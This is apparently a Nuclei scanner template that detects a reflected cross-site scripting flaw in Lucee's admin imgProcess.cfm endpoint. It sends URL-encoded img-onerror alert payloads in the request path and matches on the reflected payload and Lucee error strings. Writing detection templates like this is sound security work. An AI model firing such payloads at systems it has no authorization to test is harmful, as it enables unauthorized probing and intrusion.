id: lucee-xss

info:
  name: Lucee - Cross-Site Scripting
  author: incogbyte
  severity: high
  description: Lucee contains a cross-site scripting vulnerability. It allows remote attackers to inject arbitrary JavaScript into the responses returned by the server.
  reference:
    - https://www.acunetix.com/vulnerabilities/web/lucee-server-arbitrary-file-creation/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79,CWE-83
  metadata:
    max-request: 2
  tags: lucee,xss,unauth,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/lucees3ezf%3cimg%20src%3da%20onerror%3dalert('{{randstr}}')%3elujb7/admin/imgProcess.cfm"
      - "{{BaseURL}}/lucee/lucees3ezf%3cimg%20src%3da%20onerror%3dalert('{{randstr}}')%3elujb7/admin/imgProcess.cfm"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=a onerror=alert('{{randstr}}')>"
          - "MissingIncludeException"
          - "lucee-err"
        part: body
        condition: and
# digest: 4b0a00483046022100d4e211b7ce7b83dd24d8c14b7f96c3b747f829e058b6bd8e8cc0d86d52ef4c5b022100f28f850d3d5000214288a600558d2532229174b02d4cd75132f6eb8e92c01142:922c64590222798bb761d5b6d8e72950